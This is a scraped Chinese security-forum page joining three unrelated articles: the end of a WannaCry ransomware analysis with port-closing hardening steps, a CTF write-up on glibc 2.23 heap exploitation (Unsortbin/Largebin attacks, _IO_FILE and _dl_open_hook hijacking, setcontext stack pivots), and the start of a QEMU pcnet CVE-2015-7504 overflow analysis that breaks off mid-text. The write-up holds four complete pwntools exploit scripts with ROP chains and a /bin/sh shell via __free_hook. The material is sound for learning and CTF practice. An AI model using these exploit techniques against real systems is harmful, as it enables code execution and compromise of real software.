本次捕获到病毒样本文件三个，mssecsvc.exe、qeriuwjhrf、tasksche.exe，如图6所示，根据其md5校验值，tasksche.exe和qeriuwjhrf文件大小为3432KB，mssecsvc.exe大小为3636KB。
2.md5校验值
使用md5计算工具对以上三个文件进行md5值计算，其md5校验值分别如下：
tasksche.exe 8b2d830d0cf3ad16a547d5b23eca2c6e
mssecsvc.exe 854455f59776dc27d4934d8979fa7e86
qeriuwjhrf: 8b2d830d0cf3ad16a547d5b23eca2c6e
图6 勒索软件病毒基本情况
3.查看病毒文件
（1）系统目录查看
文件一般位于系统盘下的windows目录，例如c:\windows\，通过命令提示符进入:
cd c:\windows\
dir /od /a *.exe
（2）全盘查找
dir /od /s /a tasksche.exe
dir /od /s /a mssecsvc.exe
4.病毒现象
（1）通过netstat –an命令查看网络连接，会发现网络不停的对外发送SYN_SENT包，如图7所示。
图7对外不断的发送445连接包
（2）病毒服务
通过Autoruns安全分析工具，可以看到在服务中存在“fmssecsvc2.0”服务名称，该文件的时间戳为2010年11月20日17:03分，如图8所示。
图8病毒启动的服务
六、安全加固
1.关闭445端口
（1）手工关闭
在命令提示符下输入“regedit”，依次打开“HKEY_LOCAL_MACHINE”-“System”-“Controlset”“Services”-“NetBT”-“Parameters”，在其中选择“新建”——“DWORD值”，将DWORD值命名为“SMBDeviceEnabled”，并通过修改其值设置为“0”，如图9所示，需要特别注意一定不要将SMBDeviceEnabled写错了！否则没有效果！
图9注册表关闭445端口
查看本地连接属性，将去掉“Microsoft网络的文件和打印机共享”前面的勾选，如图10所示。
图10取消网络文件以及打印机共享
（2）使用锦佰安提供的脚本进行关闭，在线下载脚本地址：<http://www.secboot.com/445.zip，脚本代码如下：>
echo "欢迎使用锦佰安敲诈者防御脚本"
echo "如果pc版本大于xp 服务器版本大于windows2003，请右键本文件，以管理员权限运行。"
netsh firewall set opmode enable
netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp
localport=445 action=block
netsh firewall set portopening protocol=TCP port=445 mode=disable name=deny445
2.关闭135端口
在运行中输入“dcomcnfg”，然后打开“组建服务”-“计算机”-“属性”-“我的电脑属性”-“默认属性”-“在此计算机上启用分布式COM”去掉选择的勾。然后再单击“默认协议”选项卡，选中“面向连接的TCP/IP”，单击“删除”或者“移除”按钮，如图11所示。
图11关闭135端口
3.关闭139端口
139端口是为“NetBIOS Session Service”提供的，主要用于提供Windows文件和打印机共享以及Unix中的Samba服务。
单击“网络”-“本地属性”，在出现的“本地连接属性”对话框中，选择“Internet协议版本4（TCP/IPv4）”-“属性”，双击打开“高级TCP/IP设置”-“WINS”，在“NetBIOS设置”中选择“禁用TCP/IP上的NetBIOS”，如图12所示。
图12关闭139端口
4.查看端口是否开放
以后以下命令查看135、139、445已经关闭。
netstat -an | find "445"
netstat -an | find "139"
netstat -an | find "135"
5.开启防火墙
启用系统自带的防火墙。
6.更新系统补丁
通过360安全卫士更新系统补丁，或者使用系统自带的系统更新程序更新系统补丁。
七、安全启示
这波勒索病毒使用的是今年3月爆发的NSA暴露的那些漏洞利用工具，当时出来以后，如果及时对系统更新了漏洞补丁和加固后，系统基本不会被感染。
1.来历不明的文件一定不要打开
2.谨慎使用优盘，在优盘中可以建立antorun.inf文件夹防止优盘病毒自动传播
3.安装杀毒软件，目前升级过病毒库的杀毒软件都可以识别传播的病毒。
4.打开防火墙
5.ATScanner（WannaCry）
<http://www.antiy.com/response/wannacry/ATScanner.zip>
6.蠕虫勒索软件免疫工具（WannaCry）<http://www.antiy.com/response/wannacry/Vaccine_for_wannacry.zip>
有关WannaCrypt勒索病毒软件的进一步分析，请关注我们的技术分析，欢迎加入安天365技术交流群（513833068）进行该技术的探讨。 | 社区文章 |
**作者：V1NKe
来源：**<https://xz.aliyun.com/t/5267>
## 前言：
最近在学习的过程中，遇到一个很有趣的东西，就是`IO_FILE`和`Largebin Unsortbin
attack`的结合利用，这个技巧能延伸出来很多种利用方式。
## 正文：
就拿最近的*CTF上的`heap_master`来举例。
因为本文主讲利用技巧，所以具体程序分析这里就略过了。程序在`mmap`区域上对堆进行增删改，所以要想构造利用，就得在`mmap`区域上构造chunk。以下均在libc-2.23环境下进行。
### 漏洞点：
有一个类似于UAF的漏洞点。
### 利用初探：
程序没有show函数，那么便很容易想到用修改`stdout`的方式来泄漏，那么该怎么去修改呢，从UAF角度分析，可以利用UAF来达到`Unsortbin
attack`和`Largebin attack`。
### 利用思考：
`Unsortbin
attack`只能任意地址写一个libc地址的值，该如何把这一次任意写利用最大化呢，那么就是修改`global_max_fast`。这样我们就可以得到glibc上的任意地址写堆地址，因为很大的chunk都变成了fastbin，因此越界了规定内的`fastbin_index`，导致可以在任意写堆地址。
用图来表示就是：
所以可以任意写堆地址。
我们可以覆盖`stdout`，使得`stdout`指向我们的mmap空间，并且我们事先在mmap空间构造好`_IO_2_1_stdout`，导致在打印出程序菜单之前先泄漏了地址。结果为这样：
如图`0x57e5c100`开始就是我们事先构造好的`_IO_2_1_stdout`，有的人或许会想问，`0x7f`那些地址怎么来的？很简单，事先构造`0x91`的chunk，free后又add，即可得到libc上的地址，再把低位双字节改成`_IO_2_1_stdout`上的内容，就有`1/16`的概率能够撞到。
泄漏出来：
泄漏出地址了，下一步便是劫持程序流了。
这里我们可以利用2.24版本后的`IO_FILE`利用，先劫持`_IO_list_all`，再接着构造`_IO_list_all`，触发`_IO_flush_all_lockp`。
覆盖就很容易了，跟前面所覆盖的`stdout`一样，而构造过程需要根据后续调用来构造了。我们需要触发`_IO_str_jumps`上的`overflow`。通过以下代码来劫持：
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)// pass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)//pass 一般会通过
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
劫持程序流：
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
我们所需要bypass的几个条件：
1. fp->_flags & _IO_NO_WRITES为假
2. fp->_flags & _IO_USER_BUF(0x01)为假
3. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
4. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 这里是劫持到的函数的rdi，即第一参数
5. fp+0xe0指向需要劫持到的函数
这里我们已经可以控制rip和rdi了，我构造如下：
_IO_FILE = ( p64(0) +
p64(0)*3 +
p64(0) + # write_base
p64(0x7fffffffffffffff) + # write_ptr
p64(0xdadaddaaddddaaaa) +
p64(0) + # buf_base
p64((morecore - 100) / 2) + # rdi buf_end
p64(0xdadaddaaddddaaaa)*11 +
p64(0) + # + 0xa8
p64(0xdadaddaaddddaaaa)*6 +
p64(IO_str_j) + # + 0xd8
p64(setcontext))
但是单单控制了rip和rdi还不够，我们还需要把栈空间给转移到mmap上来。
观察上面可以看到，我们先把程序流劫持到这里来：
0x00007f20066f4b75 <+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x00007f20066f4b7c <+60>: mov rbx,QWORD PTR [rdi+0x80]
0x00007f20066f4b83 <+67>: mov rbp,QWORD PTR [rdi+0x78]
0x00007f20066f4b87 <+71>: mov r12,QWORD PTR [rdi+0x48]
0x00007f20066f4b8b <+75>: mov r13,QWORD PTR [rdi+0x50]
0x00007f20066f4b8f <+79>: mov r14,QWORD PTR [rdi+0x58]
0x00007f20066f4b93 <+83>: mov r15,QWORD PTR [rdi+0x60]
0x00007f20066f4b97 <+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x00007f20066f4b9e <+94>: push rcx
0x00007f20066f4b9f <+95>: mov rsi,QWORD PTR [rdi+0x70]
0x00007f20066f4ba3 <+99>: mov rdx,QWORD PTR [rdi+0x88]
0x00007f20066f4baa <+106>: mov rcx,QWORD PTR [rdi+0x98]
0x00007f20066f4bb1 <+113>: mov r8,QWORD PTR [rdi+0x28]
0x00007f20066f4bb5 <+117>: mov r9,QWORD PTR [rdi+0x30]
0x00007f20066f4bb9 <+121>: mov rdi,QWORD PTR [rdi+0x68]
0x00007f20066f4bbd <+125>: xor eax,eax
0x00007f20066f4bbf <+127>: ret
从第一条语句我们就可以转移栈空间，因为rdi我们可控。中间的rcx可以用`__morecore`维持平衡。
最后栈会成功转移到我们的mmap区域来，所以事先在mmap区域构造好ROP即可劫持整个程序流。
### 利用延伸：
#### 延伸点1：
可以有别的劫持流吗？当然可以。
我们还可以不劫持`_IO_list_all`，换个方式，劫持`_dl_open_hook`。
`_dl_open_hook`是怎么个说法呢？它跟`__free_hook`类似，但是又不一样，区别就在于当它不为NULL时，执行的是`**_dl_open_hook`，而`__free_hook`是执行`*__free_hook`。触发条件是当malloc或free出错时。
当执行到`**_dl_open_hook`时，rax存的就是`*_dl_open_hook`，即堆地址。所以我找到了这么一处`gadgets`：
=> 0x00007fd2f8d9a98a <+170>: mov rdi,rax
0x00007fd2f8d9a98d <+173>: call QWORD PTR [rax+0x20]
这样，我们也控制了`rdi`，往后可以构造劫持到上面所说的转移栈空间的那处`gadgets`。后面的流程也一样了。
#### 延伸点2：
那么`largebin attack`呢？
`largebin attack`实际上也是任意地址修改为堆地址，发生的链表修改操作为：
fwd->bk_nextsize->fd_nextsize = victim;
fwd->bk->fd = victim;
通过调试可知这里的任意修改为第二条，每次`largebin attack`可任意修改一次为堆地址。实质上跟`unsortbin
attack`没有太大的区别，只是修改方式不一样。
但是这里可以换一种方式泄漏libc地址。
可以去修改`_IO_2_1_stdout`的`_flag`为堆地址。因为`flag`满足一定的条件时，就可以泄漏：
if fp->flag & 0xa00 == 1 and fp->flag & 0x1000 == 1 then it will leak something when f->write_base != f->write_ptr
这里也是有一定概率的。除了修改完`_flag`之后，还需要覆盖`write_base`的最低一个字节为`\x00`，这时候可以错位覆盖：
两处地方修改完之后的情况：
即可泄漏出地址。
往后的劫持程序流跟上面所说的一样，既可以劫持`_dl_open_hook`也可以劫持`_IO_list_all`。
#### 延伸点3:
还可以如何劫持程序流程？可以劫持`__free_hook`。
大致流程就是用`largebin attack`泄漏出地址后（跟上面延伸2一致），再用`largebin
attack`修改`global_max_fast`。这样就可以来利用`fastbin_index_overflow`了。
覆盖`__free_hook`为堆地址之后，修改该堆地址所对应的`chunk`的`fd`指针为`system`地址。这样当把他add取出之后，`__free_hook`地址就变为了`system`的地址：
`delete`之后即可触发。
当然了，`__malloc_hook`、`__relloc_hook`等等也是一样的。
### 利用总结：
题目还是很新颖的，从普通堆空间转化到了mmap区域上的堆空间来。可以大胆的去想思路，上面的有些思路仔细想的话其实还是很巧妙的，不管是从找`gadgets`和整个劫持程序流程的构造来说都很巧妙，能够把几种思路都去试着练习一下还是能够收获到很多东西的，思路上、或者是构造利用上。而且上面的几种方式交叉组合一下利用，还能有着多种方式。
### Reference：
1. <https://balsn.tw/ctf_writeup/20190427-*ctf/#heap-master>
2. <https://xz.aliyun.com/t/2411>
3. <https://xz.aliyun.com/t/5006#toc-15>
4. <https://github.com/sixstars/starctf2019/blob/master/pwn-heap_master/hack.py>
### EXP：
#### 1\. Unsortbin attack + _IO_list_all
from pwn import *
elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)
def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))
def exp():
for i in range(0xe):
edit(0xf8 + i*0x10,p64(0x201))
for i in range(0x10):
edit(0x2f8 + i*0x10,p64(0x21))
for i in range(0xd):
delete(0x1d0-i*0x10)
add(0x1f0)
edit(0x100, p64(0xfbad1800) + p16(0x26a3))
edit(0x110,p16(0x26a3))
edit(0x118,p16(0x26a3))
edit(0x120,p16(0x2618))
edit(0x128,p16(0x26a3))
edit(0x130,p16(0x26a3))
edit(0x138,p16(0x26a3))
edit(0x140,p16(0x26a3))
edit(0x148, p64(0)*4 + p16(0x18e0))
edit(0x170, p64(1) + p64(0xffffffffffffffff) + p64(0xa000000) + p16(0x3780))
edit(0x190, p64(0xffffffffffffffff) + p64(0) + p16(0x17a0))
edit(0x1a8,p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p16(0x06e0))
edit(0x1008,p64(0x91))
edit(0x1098,p64(0x21))
edit(0x10b8,p64(0x21))
#edit(0x1148,p64(0x21))
delete(0x1010)
edit(0x1018,p16(0x37f8-0x10)) # unsortbin attack global_max_fast
add(0x80)
edit(0x108,p64(0x17e1))
edit(0x18e8,p64(0x21))
edit(0x1908,p64(0x21))
delete(0x110)
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 3946208
log.success('libc_base is :'+hex(libc_base))
IO_str_j = libc_base + libc.symbols['_IO_file_jumps']+0xc0
morecore = libc_base + libc.symbols['__morecore'] - 8 - 0xa0
setcontext = libc_base + 293749
_IO_FILE = ( p64(0) +
p64(0)*3 +
p64(0) + # + 0x20 write_base
p64(0x7fffffffffffffff) + # write_ptr
p64(0xdadaddaaddddaaaa) +
p64(0) + # + 0x38 buf_base
p64((morecore - 100) / 2) + # rdi buf_end
p64(0xdadaddaaddddaaaa)*11 +
p64(0) +
p64(0xdadaddaaddddaaaa)*6 +
p64(IO_str_j) + # + 0xd8
p64(setcontext))
edit(0x2008,p64(0x1411))
edit(0x3418,p64(0x21))
delete(0x2010) # modify _IO_list_all to mmap+0x2000
#gdb.attach(p)
edit(0x2000,_IO_FILE)
edit(0x3008,p64(0x1121)) # modify __morecore-8 to mmap+0x3000
edit(0x4128,p64(0x21))
delete(0x3010)
pop_rax = libc_base + 0x0000000000033544
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
syscall = libc_base + 0x00000000000bc375
buf = libc_base + 3954496
rop = (p64(pop_rax) + p64(0) + # read "/flag" ; open read write
p64(pop_rdi) + p64(0) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(0x100) +
p64(syscall) +
p64(pop_rax) + p64(2) +
p64(pop_rdi) + p64(buf) +
p64(pop_rsi) + p64(0) +
p64(pop_rdx) + p64(0) +
p64(syscall) +
p64(pop_rax) + p64(0) +
p64(pop_rdi) + p64(3) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall) +
p64(pop_rax) + p64(1) +
p64(pop_rdi) + p64(1) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall))
edit(0x3000,rop)
p.sendline("A") # trigger on exit()
time.sleep(0.1)
p.send("./flag\x00")
p.interactive()
if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception :
p.close()
pass
#### 2\. Unsortbin attack + _dl_open_hook
from pwn import *
elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)
def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))
def exp():
for i in range(0xe):
edit(0xf8 + i*0x10,p64(0x201))
for i in range(0x10):
edit(0x2f8 + i*0x10,p64(0x21))
for i in range(0xd):
delete(0x1d0-i*0x10)
add(0x1f0)
edit(0x100, p64(0xfbad1800) + p16(0x26a3))
edit(0x110,p16(0x26a3))
edit(0x118,p16(0x26a3))
edit(0x120,p16(0x2618))
edit(0x128,p16(0x2710))
edit(0x130,p16(0x26a3))
edit(0x138,p16(0x26a3))
edit(0x140,p16(0x26a3))
edit(0x148, p64(0)*4 + p16(0x18e0))
edit(0x170, p64(1) + p64(0xffffffffffffffff) + p64(0xa000000) + p16(0x3780))
edit(0x190, p64(0xffffffffffffffff) + p64(0) + p16(0x17a0))
edit(0x1a8,p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p16(0x06e0))
edit(0x1008,p64(0x91))
edit(0x1098,p64(0x21))
edit(0x10b8,p64(0x21))
#edit(0x1148,p64(0x21))
delete(0x1010)
edit(0x1018,p16(0x37f8-0x10)) # unsortbin attack global_max_fast
add(0x80)
edit(0x108,p64(0x17e1))
edit(0x18e8,p64(0x21))
edit(0x1908,p64(0x21))
delete(0x110)
data = u64(p.recv(6).ljust(8,'\x00'))
data2 = p.recvuntil('===')
data2 = data2[-11:-7]
#print data2
data2 = u64(data2.ljust(8,'\x00'))
vmmap_base = data2 - 256
libc_base = data - 3946208
log.success('libc_base is :'+hex(libc_base))
log.success('vmmap_base is :'+hex(vmmap_base))
setcontext = libc_base + 293749
edit(0x2008,p64(0x8f91))
edit(0xaf98,p64(0x21))
delete(0x2010) # modify _dl_open_hook to mmap+0x2000
edit(0x2000,p64(libc_base+0x6D98A))
'''
=> 0x00007fd2f8d9a98a <+170>: mov rdi,rax
0x00007fd2f8d9a98d <+173>: call QWORD PTR [rax+0x20]
'''
#gdb.attach(p,'b *'+str(libc_base+0x6D98A))
edit(0x2020,p64(setcontext))
edit(0x20a0,p64(vmmap_base+0x20b0))
edit(0x20a8,p64(libc_base+0x0000000000000937))
pop_rax = libc_base + 0x0000000000033544
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
syscall = libc_base + 0x00000000000bc375
#buf = libc_base + 3954496
buf = libc_base + 3954496+0x20
rop = (p64(pop_rax) + p64(0) + # read "/flag" ; open read write
p64(pop_rdi) + p64(0) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(0x100) +
p64(syscall) +
p64(pop_rax) + p64(2) +
p64(pop_rdi) + p64(buf) +
p64(pop_rsi) + p64(0) +
p64(pop_rdx) + p64(0) +
p64(syscall) +
p64(pop_rax) + p64(0) +
p64(pop_rdi) + p64(4) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall) +
p64(pop_rax) + p64(1) +
p64(pop_rdi) + p64(1) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall))
edit(0x20b0,rop)
#gdb.attach(p)
add(0x20)
time.sleep(0.1)
p.send("./flag\x00")
p.interactive()
if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception :
p.close()
pass
#### 3\. Largebin attack + _dl_open_hook
from pwn import *
elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)
def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))
def exp():
edit(0x108,p64(0x401)) #fake first large chunk
edit(0x508,p64(0x21))
edit(0x528,p64(0x21))
delete(0x110)
add(0x400)
edit(0x608,p64(0x411))
edit(0x608+0x410,p64(0x21))
edit(0x608+0x430,p64(0x21))
delete(0x610)
edit(0x118,p16(0x2610)) #modify stdout_flag --> mmap_addr
add(0x410)
edit(0x1008,p64(0x451)) #fake second large chunk
edit(0x1458,p64(0x21))
edit(0x1478,p64(0x21))
delete(0x1010)
add(0x450)
edit(0x1508,p64(0x461))
edit(0x1968,p64(0x21))
edit(0x1988,p64(0x21))
delete(0x1510)
edit(0x1018,p16(0x2629)) #modify io_write_base_one_byte --> '\x00'
add(0x460)
data = p.recv(8,timeout=1)
if data == '' or data[0] == '=' :
raise NameError
else :
pass
p.recv(24)
data1 = u64(p.recv(8))
data2 = u64(p.recv(6).ljust(8,'\x00'))
heap_base = data1 - 3584
libc_base = data2 - 3954339
setcontext = libc_base + 293749
print hex(heap_base),hex(libc_base)
edit(0x2008,p64(0x501))
edit(0x2508,p64(0x21))
edit(0x2528,p64(0x21))
delete(0x2010)
add(0x500)
edit(0x2608,p64(0x511))
edit(0x2b18,p64(0x21))
edit(0x2b38,p64(0x21))
delete(0x2610)
edit(0x2018,p16(0x62d0))
add(0x510)
#gdb.attach(p)
pop_rax = libc_base + 0x0000000000033544
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
syscall = libc_base + 0x00000000000bc375
edit(0x2600,p64(libc_base+0x6D98A))
edit(0x2620,p64(setcontext))
edit(0x26a0,p64(heap_base+0x26b0))
edit(0x26a8,p64(libc_base+0x0000000000000937)) #ret
edit(0x26b0,p64(pop_rax)) #read
edit(0x26b8,p64(0))
edit(0x26c0,p64(pop_rdi))
edit(0x26c8,p64(0))
edit(0x26d0,p64(pop_rsi))
edit(0x26d8,p64(heap_base))
edit(0x26e0,p64(pop_rdx))
edit(0x26e8,p64(20))
edit(0x26f0,p64(syscall))
edit(0x26f8,p64(pop_rax)) #open
edit(0x2700,p64(2))
edit(0x2708,p64(pop_rdi))
edit(0x2710,p64(heap_base))
edit(0x2718,p64(pop_rsi))
edit(0x2720,p64(0))
edit(0x2728,p64(pop_rdx))
edit(0x2730,p64(0))
edit(0x2738,p64(syscall))
edit(0x2740,p64(pop_rax)) #read
edit(0x2748,p64(0))
edit(0x2750,p64(pop_rdi))
edit(0x2758,p64(4))
edit(0x2760,p64(pop_rsi))
edit(0x2768,p64(heap_base))
edit(0x2770,p64(pop_rdx))
edit(0x2778,p64(0x20))
edit(0x2780,p64(syscall))
edit(0x2788,p64(pop_rax)) #write
edit(0x2790,p64(1))
edit(0x2798,p64(pop_rdi))
edit(0x27a0,p64(1))
edit(0x27a8,p64(pop_rsi))
edit(0x27b0,p64(heap_base))
edit(0x27b8,p64(pop_rdx))
edit(0x27c0,p64(0x20))
edit(0x27c8,p64(syscall))
delete(0x2b20)
delete(0x2b20)
p.send('./flag\x00')
p.interactive()
if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception as e:
print e
p.close()
pass
#### 4\. Largebin attack + __free_hook
from pwn import *
elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)
def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))
def exp():
edit(0x108,p64(0x401)) #fake first large chunk
edit(0x508,p64(0x21))
edit(0x528,p64(0x21))
delete(0x110)
add(0x400)
edit(0x608,p64(0x411))
edit(0x608+0x410,p64(0x21))
edit(0x608+0x430,p64(0x21))
delete(0x610)
edit(0x118,p16(0x2610)) #modify stdout_flag --> mmap_addr
add(0x410)
edit(0x1008,p64(0x451)) #fake second large chunk
edit(0x1458,p64(0x21))
edit(0x1478,p64(0x21))
delete(0x1010)
add(0x450)
edit(0x1508,p64(0x461))
edit(0x1968,p64(0x21))
edit(0x1988,p64(0x21))
delete(0x1510)
edit(0x1018,p16(0x2629)) #modify io_write_base_one_byte --> '\x00'
add(0x460)
data = p.recv(8,timeout=1)
if data == '' or data[0] == '=' :
raise NameError
else :
pass
p.recv(24)
data1 = u64(p.recv(8))
data2 = u64(p.recv(6).ljust(8,'\x00'))
heap_base = data1 - 3584
libc_base = data2 - 3954339
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + libc.search('/bin/sh').next()
edit(0x2008,p64(0x501)) #fake third large chunk
edit(0x2508,p64(0x21))
edit(0x2528,p64(0x21))
delete(0x2010)
add(0x500)
edit(0x2608,p64(0x511))
edit(0x2b18,p64(0x21))
edit(0x2b38,p64(0x21))
delete(0x2610)
edit(0x2018,p16(0x37e8)) #modify global_max_fast
add(0x510)
edit(0x3008,p64(0x3921))
edit(0x3008+0x3920,p64(0x21))
delete(0x3010)
edit(0x3010,p64(system_addr))#modify fastbin->fd --> system
add(0x3918)
#gdb.attach(p)
edit(0x4008,p64(0x21))
edit(0x4010,'/bin/sh')
edit(0x4028,p64(0x21))
delete(0x4010)
p.interactive()
if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception as e:
print e
p.close()
pass
* * * | 社区文章 |
**作者：raycp**
**原文来自安全客：<https://www.anquanke.com/post/id/197638>**
**cve-2015-7504是pcnet网卡中的一个堆溢出漏洞，可以溢出四字节，通过构造特定的数据可以劫持程序执行流，结合前面的cve-2015-5165中的信息泄露，便可以实现任意代码执行。**
## 漏洞分析
首先仍然是先介绍pcnet网卡的部分信息。
网卡有16位和32位两种模式，这取决于DWIO（存储在网卡上的变量）的实际值，16位模式是网卡重启后的默认模式。网卡有两种内部寄存器：CSR（控制和状态寄存器）和BCR（总线控制寄存器）。两种寄存器都需要通过设置对应的我们要访问的RAP（寄存器地址端口）寄存器来实现对相应CSR或BCR寄存器的访问。
网卡的配置可以通过填充一个初始化结构体，并将该结构体的物理地址传送到网卡（通过设置CSR[1]和CSR[2]）来完成，结构体定义如下：
struct pcnet_config {
uint16_t mode; /* working mode: promiscusous, looptest, etc. */
uint8_t rlen; /* number of rx descriptors in log2 base */
uint8_t tlen; /* number of tx descriptors in log2 base */
uint8_t mac[6]; /* mac address */
uint16_t _reserved;
uint8_t ladr[8]; /* logical address filter */
uint32_t rx_desc; /* physical address of rx descriptor buffer */
uint32_t tx_desc; /* physical address of tx descriptor buffer */
};
漏洞代码在`./hw/net/pcnet.c`的`pcnet_receive`函数中，关键代码如下：
ssize_t print pcnet_receive(NetClientState *nc, const uint8_t *buf, size_t size_)
{
int size = size_;
PCNetState *s = qemu_get_nic_opaque(nc);
...
uint8_t *src = s->buffer;
....
} else if (s->looptest == PCNET_LOOPTEST_CRC ||
!CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
uint32_t fcs = ~0;
uint8_t *p = src;
while (p != &src[size])
CRC(fcs, *p++);
*(uint32_t *)p = htonl(fcs); //将crc值写到数据包的末尾
size += 4;
...
pcnet_update_irq(s);
return size_;
}
`s->buffer`是网卡接收的数据，`size`是数据大小，可以看到代码计算出当前数据包的crc值并写到了数据包的末尾。但是当`size`刚好为`s->buffer`的大小时，会导致最后会将crc值越界到缓冲区之外，溢出的数据为数据包中的crc值。
接下来看越界会覆盖什么，`s`的定义是`PCNetState`，定义如下：
struct PCNetState_st {
NICState *nic;
NICConf conf;
QEMUTimer *poll_timer;
int rap, isr, lnkst;
uint32_t rdra, tdra;
uint8_t prom[16];
uint16_t csr[128];
uint16_t bcr[32];
int xmit_pos;
uint64_t timer;
MemoryRegion mmio;
uint8_t buffer[4096];
qemu_irq irq;
void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void *dma_opaque;
int tx_busy;
int looptest;
};
可以看到`buffer`的大小为`4096`，当`size`为`4096`时，会使得`crc`覆盖到后面的`qemu_irq
irq`低四字节。`irq`的定义是`typedef struct IRQState
*qemu_irq`，为一个指针。溢出会覆盖该结构体指针的低四字节，该结构体定义如下：
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};
在覆盖率变量`irq`的第四字节后，在程序的末尾有一个`pcnet_update_irq(s);`的函数调用，该函数中存在对`qemu_set_irq`函数的调用，由于可控`irq`，所以可控`irq->handler`，使得有可能控制程序执行流。
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}
可以看到覆盖的值的内容是数据包的crc校验的值，该值是可控的。我们可以通过构造特定的数据包得到我们想要的crc校验的值，有需要可以去看具体[原理](https://blog.affien.com/archives/2005/07/15/reversing-crc/)，因此该漏洞可实现将`irq`指针低四字节覆盖为任意地址的能力。
再看如何触发漏洞`pcnet_receive`函数，找到调用它的函数`pcnet_transmit`，需要设置一些标志位如`BCR_SWSTYLE`等才能触发函数：
static void pcnet_transmit(PCNetState *s)
{
hwaddr xmit_cxda = 0;
int count = CSR_XMTRL(s)-1;
int add_crc = 0;
int bcnt;
s->xmit_pos = -1;
...
if (s->xmit_pos + bcnt > sizeof(s->buffer)) {
s->xmit_pos = -1;
goto txdone;
}
...
if (CSR_LOOP(s)) {
if (BCR_SWSTYLE(s) == 1)
add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
pcnet_receive(qemu_get_queue(s->nic), s->buffer, s->xmit_pos);
s->looptest = 0;
} else {
...
再看调用`pcnet_transmit`的函数：一个是在`pcnet_csr_writew`中调用；一个是在`pcnet_poll_timer`中。
